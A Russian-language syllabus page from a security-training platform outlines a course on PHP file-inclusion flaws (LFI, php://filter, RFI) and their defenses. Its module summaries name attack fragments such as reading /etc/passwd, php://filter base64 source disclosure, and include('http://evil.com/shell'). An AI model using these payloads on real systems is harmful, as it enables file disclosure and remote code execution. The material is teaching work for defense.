Перейти к содержимому

Поиск по платформе

Все пути
Путь php Advanced 5 модулей 19 шагов (11 теор · 3 лаб · 5 квиз) ~3 ч 25 мин

PHP File Inclusion: LFI, php://filter и RFI

Углублённый маршрут по уязвимостям включения файлов в PHP. Изучите механику include/require, Local File Inclusion, чтение исходного кода через php://filter, Remote File Inclusion и PHP stream wrappers.

01

Модуль 1: Введение в File Inclusion в PHP

include/require, allow_url_include, PHP stream wrappers (php://, data://, expect://).

0/3~13 мин
02

Модуль 2: Basic LFI

include($_GET['page']), /etc/passwd, log poisoning, защита через whitelist.

0/4~43 мин
03

Модуль 3: php://filter

php://filter/convert.base64-encode для чтения исходного кода, php://input для инъекции.

0/4~58 мин
04

Модуль 4: Remote File Inclusion (RFI)

include('http://evil.com/shell'), allow_url_include=On, защита через allow_url_include=Off.

0/5~1 ч 18 мин
05

Модуль 5: Итоговый проект и автоматизация

Итоговый проект — спецификация безопасного выбора ресурса, wrapper cheatsheet, open_basedir, реальные CVE, автоматизация обнаружения (SAST/DAST).

0/3~13 мин финальный